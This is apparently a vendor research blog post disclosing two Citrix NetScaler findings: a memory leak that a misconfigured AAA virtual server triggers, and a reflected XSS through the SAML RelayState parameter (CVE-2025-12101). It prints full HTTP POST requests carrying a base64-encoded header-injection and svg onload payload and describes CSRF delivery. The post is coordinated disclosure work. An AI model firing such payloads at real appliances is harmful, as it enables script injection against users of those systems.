Is It CitrixBleed4? Well, No. Is It Good? Also, No. (Citrix NetScaler Memory Leak & RXSS CVE-2025-12101)
There’s an elegance to vulnerability research that feels almost poetic - the quiet dance between chaos and control. It’s the art of peeling back the layers of complexity, not to destroy but to understand; to trace the fragile threads that hold systems together and see where they might fray.
There’s beauty in that tension - the simultaneous act of breaking and creating, of exposing weakness to make strength possible. It’s a kind of intellectual intimacy, where curiosity meets consequence, and discovery hums just beneath the surface of what others take for granted.
And sometimes, you casually click your way to a vulnerability with a web browser.
Yes! We are discussing security appliances today!
As we’ve discussed before, it’s not uncommon to stumble into zero-days while exploring a code base or system in the pursuit of reproducing an N-day.
CitrixBleed2
That’s exactly what happened in August 2025, when we triggered a rapid-response event across our client base for CitrixBleed2 (CVE-2025-5777) - a vulnerability affecting Citrix NetScaler appliances.
CitrixBleed2 was the second edition (which one do you have the fondest memories of?) of CitrixBleed - another painful memory leak vulnerability. These memory leak vulnerabilities allowed for the arbitrary disclosure of memory, pre-authentication - reportedly playing a role in the ransom of numerous organizations, weaponized trivially by identifying SSLVPN session IDs (and similar) contained within leaked memory.
This time, within the spools of our own collateral damage, we’ll be discussing the vulnerabilities we stumbled into:
- WT-2025-0089 - Memory Leak (but, not in the real world - no CVE)
- WT-2025-0090 - Reflected XSS (assigned CVE-2025-12101)
Stop - before you start screaming, this (the Memory Leak) is not another CitrixBleed.
But, there is a pattern - and when a vulnerability that discloses memory is triggered by purely misconfiguring a device (as opposed to things your average user couldn’t do with a web browser), you have to wonder what design and architecture choices resulted in this feeling of fragility around reading of memory.
WT-2025-0089 - The Memory Leak, Explain
While analyzing CitrixBleed2, we were forced to become certified Citrix NetScaler experts - sacrificing what felt like a disproportionate amount of time to configure an appliance.
Within this lost time, we were forced to configure AAA. “What’s AAA”, every unharmed human asks?
The AAA feature stands for Authentication, Authorization, and Auditing — essentially, the part of Citrix that decides who can log in, what they can access, and what they do once inside.
When a user connects through Citrix Gateway, the AAA system validates their credentials (via username, password, or even SAML), applies access rules, and logs the session for auditing. In short, it’s the gatekeeper that controls and monitors all access to Citrix applications and resources.
Visually represented as below:
If you’ve ever configured a Citrix NetScaler device - you likely dream of a career in goat farming. We are so sorry, and we now understand.
As we stumbled through the configuration process, we did something everyone expects - we made a mistake.
At one point, we skipped a step. But, our eyes widened when we realised this omission had resulted in a condition that left the appliance spewing memory.
When in this condition, browsing to / on the affected device would return a helpful error message (UX is important!), and leaked memory:
To reproduce this issue:
- Create a new AAA virtual server via the web interface
- Without enabling the feature via CLI, the root page of the web interface will start leaking memory
For context, this is how the feature is normally enabled via the CLI:
How Do We Feel About This?
Not great? The vulnerability itself, while not ideal is frankly not a real-world concern given the likelihood of this wildly improbable configuration (we found none) existing in any Internet-exposed environment.
Citrix confirmed with us that this was their view as well, and thus decided to not assign a CVE:
After reviewing the issue, we’ve determined that the behavior stems from a misconfiguration of the appliance. Specifically, configuring a AAA virtual server without enabling the AAA feature is not a recommended setup. Please note that the authentication functionality will not operate unless the AAA feature is enabled.
Our documentation provides guidance on this configuration: https://docs.netscaler.com/en-us/citrix-adc/current-release/aaa-tm/entities-of-authentication-authorization-auditing/authentication-virtual-server.html
However, we understand that some customers may inadvertently configure their appliances this way. To help prevent this unsupported configuration in the future, we’ve made changes in the code that will prevent it going forward.
We can’t say we disagree - their assessment is fair and pragmatic, there is a all-but-zero chance of this vulnerability actually existing in the wild.
However, what should be of concern is the bigger picture - the trend, very clearly suggesting that memory management continues to appear very fragile within Citrix NetScaler appliances, to the extreme that even just misconfiguring an appliance by accident leads to disclosure of leaked memory.
It feels like we are playing catch with a highly-sensitive gun that continues to harm innocent bystanders - within, once again, what many will consider a highly-critical appliance and security control.
Will we see another memory leak vulnerability in Citrix NetScaler? We have no idea. But if we were to meme…
WT-2025-0090 - SAML RelayState Reflected XSS
While poking around the appliance, we identified what looked like a simple and trivial Open Redirect vulnerability within the SSO flows used by Citrix NetScaler - specifically in the usage of the RelayState parameter.
For example, the below HTTP POST request contains a RelayState parameter with a base64 encoded value of “https://watchTowr.com”:
POST /cgi/logout HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 1629
**SAMLResponse=[BASE64-SAML-Response]**&**RelayState=<@base64><https://watchTowr.com/></@base64>**
Receiving the following response:
Pushing our luck as far as possible, we tried a hunch:
[new-line]
Content-Type: text/html
[new-line]
[new-line]
[new-line]<svg/onload=alert(1)>
Which translates to
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert%281%29%3E
Eventually base64’ing the contents, and throwing the following request at the host:
POST /cgi/logout HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 1669
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
We've prepared a high-level overview of the attack flow:
While this may not look realistic as a usable vulnerability (and we’d agree given the low hanging fruit elsewhere), it is broadly still usable via CSRF - as the NetScaler’s /cgi/logout endpoint accepts an HTTP POST request containing a valid SAMLResponse and a modified RelayState.
Timeline
| Date | Detail |
|---|---|
| August 27th, 2025 | watchTowr discloses WT-2025-0089 to Cloud Software Group PSIRT |
| August 28th, 2025 | watchTowr discloses WT-2025-0090 to Cloud Software Group PSIRT |
| September 2nd, 2025 | Cloud Software Group PSIRT acknowledge report |
| October 24th, 2025 | Cloud Software Group PSIRT confirms stance that WT-2025-0089 is not a realistic vulnerability and will not be assigned a CVE. |
| November 5th, 2025 | Cloud Software Group PSIRT confirms the fix for WT-2025-0090 is scheduled to be published. |
| 11th November 2025 | CVE-2025-12101 assigned to WT-2025-0090 |
| 11th November 2025 | CVE-2025-12101 published |
| 12th November 2025 | watchTowr publishes research |
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.